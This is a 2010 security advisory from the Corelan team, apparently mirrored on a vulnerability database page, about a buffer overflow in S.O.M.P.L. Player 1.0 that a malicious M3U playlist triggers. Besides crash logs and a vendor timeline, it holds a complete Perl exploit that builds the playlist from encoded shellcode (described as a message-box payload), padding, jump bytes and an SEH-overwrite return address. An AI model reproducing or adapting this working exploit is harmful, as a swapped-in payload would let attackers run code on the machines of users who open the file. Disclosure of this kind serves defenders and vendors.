Lucene search
K

S.O.M.P.L. Player 1.0 Buffer Overflow

🗓️ 20 Jan 2010 00:00:00Reported by RickType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 15 Views

S.O.M.P.L. Player 1.0 Buffer Overflow vulnerability discovere

Code
`  
|------------------------------------------------------------------|  
| __ __ |  
| _________ ________ / /___ _____ / /____ ____ _____ ___ |  
| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |  
| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |  
| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |  
| |  
| http://www.corelan.be:8800 |  
| [email protected] |  
| |  
|-------------------------------------------------[ EIP Hunters ]--|  
| |  
| Vulnerability Disclosure Report |  
| |  
|------------------------------------------------------------------|  
  
Advisory : CORELAN-10-006  
Disclosure date : 20 January 2010  
http://www.corelan.be:8800/index.php/forum/security-advisories/  
  
  
0x00 : Vulnerability information  
--------------------------------  
  
[*] Product : S.O.M.P.L player  
[*] Version : 1.0  
[*] Vendor : George Fesalides  
[*] URL : http://sourceforge.net/projects/somplmp3/files/  
[*] URL2 : http://www.softpedia.com/progDownload/SOMPL-Download-144999.html  
[*] Platform : Windows  
[*] Type of vulnerability : Buffer Overflow   
[*] Risk rating : Medium   
[*] Issue fixed in version : ???  
[*] Vulnerability discovered by : Rick2600   
[*] Greetings to : corelanc0d3r, EdiStrosar, mr_me, ekse, MarkoT, sinn3r  
  
  
0x01 : Vendor description of software  
-------------------------------------  
S.O.M.PL. Is a Simple Open Music Player that plays mp3 files. This player loads mp3 files and stores them in a playlist. It includes features such as random tracks selection,tracks repetition,loading playlist, saving playlist.  
  
  
  
0x02 : Vulnerability details  
----------------------------  
The discovered vulnerability allows an attacker to send a crafted malicious playlist (M3U) whereby  
the user could be tricked into executing unauthorized commands.  
In order for the vulnerability to be triggered, an end user must be tricked into loading a malicious  
playlist (M3U) on SOMPL.  
  
Crash information :  
  
(dc.e4): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=41414141 ebx=41414141 ecx=00000000 edx=00000000 esi=0012eb48 edi=00000000  
eip=40004ae4 esp=0012eb18 ebp=0012fb4c iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246  
VCL50!SystemLStrClr$qqrr17SystemAnsiString:  
40004ae4 8b10 mov edx,dword ptr [eax] ds:0023:41414141=????????  
Missing image name, possible paged-out or corrupt data.  
Missing image name, possible paged-out or corrupt data.  
Missing image name, possible paged-out or corrupt data.  
0:000> !exchain  
0012eb2c: VCL50!StdctrlsTRadioButtonCNCommand$qqrr19MessagesTWMCommand+e6 (40048762)  
0012fb7c: 41414141  
Invalid exception stack at 41414141  
  
  
!pvefindaddr findmsp :  
  
Log data  
0BADF00D -------------------------------------------------------------------------  
0BADF00D Searching for metasploit pattern references  
0BADF00D -------------------------------------------------------------------------  
0BADF00D [1] Checking register addresses and contents  
0BADF00D ============================================  
0BADF00D Register EDI points to Metasploit pattern at position 0  
0BADF00D Register EAX is overwritten with Metasploit pattern at position 4096  
0BADF00D Register EBP points to Metasploit pattern at position 4100  
0BADF00D Register EDX points to Metasploit pattern at position 0  
0BADF00D Register EBX is overwritten with Metasploit pattern at position 4096  
0BADF00D Register ESI points to Metasploit pattern at position 0  
0BADF00D [2] Checking seh chain  
0BADF00D ======================  
0BADF00D - Checking seh chain entry at 0x0012eb2c, value 40048762  
0BADF00D - Checking seh chain entry at 0x0012fb7c, value 46346946  
0BADF00D => record is overwritten with Metasploit pattern at position 4152  
0BADF00D -------------------------------------------------------------------------  
  
  
  
  
  
0x03 : Vendor communication  
---------------------------  
[*] 28 dec 2009 : Vendor contacted - no reply  
[*] 09 jan 2010 : Vendor contacted again - still no reply  
[*] 20 jan 2010 : Public disclosure  
  
  
0x04 : Exploit/PoC  
------------------  
  
# Exploit Title : SOMPL Player Buffer Overflow  
# Date : 20 January 2010  
# Author : Rick2600 (ricks2600[at]gmail{dot}com)  
# Bug found by : Rick2600 (ricks2600[at]gmail{dot}com)  
# Software Link : http://www.softpedia.com/progDownload/SOMPL-Download-144999.html  
# Version : 1.0  
# Issue fixed in: ???  
# OS : Windows  
# Tested on : XP SP2 and SP3 En  
# Type of vuln : Buffer Overflow  
# Greetz to : Corelan Security Team:: corelanc0d3r, EdiStrosar, mr_me, ekse, MarkoT, sinn3r  
#  
# Script provided 'as is', without any warranty.  
# Use for educational purposes only.  
#  
#  
# Code :  
  
print "|------------------------------------------------------------------|\n";  
print "| __ __ |\n";  
print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |\n";  
print "| / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\n";  
print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |\n";  
print "| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/ |\n";  
print "| |\n";  
print "| http://www.corelan.be:8800 |\n";  
print "| |\n";  
print "|-------------------------------------------------[ EIP Hunters ]--|\n";  
print "[+] SOMPL Player Buffer Overflow - SEH Overwrite\n";  
  
  
$header = "#EXTM3U\n#EXTINF:";  
  
#Shellcode: x86/alpha_mixed( MsgBox )  
$shellcode =  
"\x89\xe7\xdb\xcf\xd9\x77\xf4\x59\x49\x49\x49\x49\x49\x49" .  
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" .  
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .  
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .  
"\x75\x4a\x49\x48\x6b\x44\x62\x50\x56\x46\x51\x4b\x70\x42" .  
"\x44\x4c\x4b\x43\x70\x46\x50\x4b\x35\x4b\x70\x51\x68\x44" .  
"\x4c\x4e\x6b\x47\x30\x44\x4c\x4c\x4b\x50\x70\x47\x6c\x4c" .  
"\x6d\x4c\x4b\x43\x70\x46\x68\x4a\x4b\x46\x69\x4c\x4b\x43" .  
"\x70\x44\x74\x4e\x6d\x43\x70\x51\x6c\x4c\x4b\x47\x30\x45" .  
"\x6c\x43\x6e\x4f\x33\x48\x6b\x45\x39\x45\x30\x4c\x4b\x42" .  
"\x4c\x51\x34\x51\x34\x4e\x6b\x43\x75\x47\x4c\x4e\x6b\x51" .  
"\x44\x47\x75\x43\x48\x46\x61\x49\x7a\x4e\x6b\x50\x4a\x47" .  
"\x68\x4e\x6b\x42\x7a\x51\x30\x43\x31\x4a\x4b\x4a\x43\x50" .  
"\x34\x47\x39\x4c\x4b\x44\x74\x4c\x4b\x43\x31\x48\x6e\x50" .  
"\x31\x4b\x4f\x45\x61\x49\x50\x4b\x4c\x4c\x6c\x4d\x54\x49" .  
"\x50\x44\x34\x43\x37\x4a\x61\x48\x4f\x46\x6d\x46\x61\x48" .  
"\x47\x48\x6b\x4b\x44\x45\x6b\x43\x4c\x44\x64\x46\x48\x50" .  
"\x75\x4d\x31\x4c\x4b\x43\x6a\x51\x34\x47\x71\x48\x6b\x50" .  
"\x66\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4a\x45\x4c\x46" .  
"\x61\x4a\x4b\x4c\x4b\x43\x34\x4c\x4b\x46\x61\x48\x68\x4d" .  
"\x59\x47\x34\x46\x44\x45\x4c\x50\x61\x4f\x33\x4e\x4d\x42" .  
"\x70\x46\x32\x48\x68\x4f\x5a\x4b\x4f\x4b\x4f\x49\x6f\x4e" .  
"\x69\x43\x37\x51\x54\x51\x54\x47\x34\x43\x74\x43\x74\x47" .  
"\x34\x43\x74\x42\x64\x47\x37\x47\x37\x50\x47\x42\x67\x50" .  
"\x39\x48\x4e\x51\x65\x4b\x56\x4a\x63\x42\x6c\x50\x4c\x42" .  
"\x6c\x42\x6c\x4d\x59\x4b\x55\x4b\x58\x45\x38\x4b\x4f\x49" .  
"\x6f\x49\x6f\x4c\x49\x4b\x72\x48\x6b\x45\x4c\x51\x4e\x4c" .  
"\x4d\x51\x6d\x45\x54\x4e\x69\x4c\x31\x4b\x30\x49\x51\x46" .  
"\x6c\x48\x68\x4f\x38\x49\x6f\x49\x6f\x4b\x4f\x48\x6b\x47" .  
"\x65\x45\x61\x49\x42\x51\x49\x4c\x48\x42\x71\x42\x34\x43" .  
"\x61\x42\x72\x4b\x4f\x50\x54\x44\x64\x44\x4c\x4a\x48\x4b" .  
"\x6f\x4b\x4f\x4b\x4f\x4b\x4f\x51\x47\x51\x6f\x51\x39\x42" .  
"\x42\x48\x68\x48\x66\x4b\x4f\x49\x6f\x49\x6f\x47\x33\x42" .  
"\x4f\x43\x42\x51\x75\x42\x4c\x50\x61\x42\x4e\x51\x30\x50" .  
"\x54\x51\x75\x43\x51\x50\x6d\x51\x30\x44\x6d\x47\x50\x42" .  
"\x70\x42\x77\x50\x4e\x50\x45\x42\x64\x42\x78\x41\x41";  
  
$filename = "somplPOC.m3u";  
print "[+] Check: $filename\n\n";  
  
$buffer = "\x90" x 5;  
$buffer .= $shellcode;  
$buffer .= "B" x (4138 - length($shellcode));  
$buffer .= "\xE9\xCD\xEF\xFF\xFF";  
$buffer .= "\xEB\xF9\x90\x90";  
$buffer .= pack("V", 0x32501B07); # pop/pop/ret Universal from cc3250mt.dll  
  
  
  
open (FILE, ">$filename");  
print FILE $buffer;  
close(FILE);  
  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation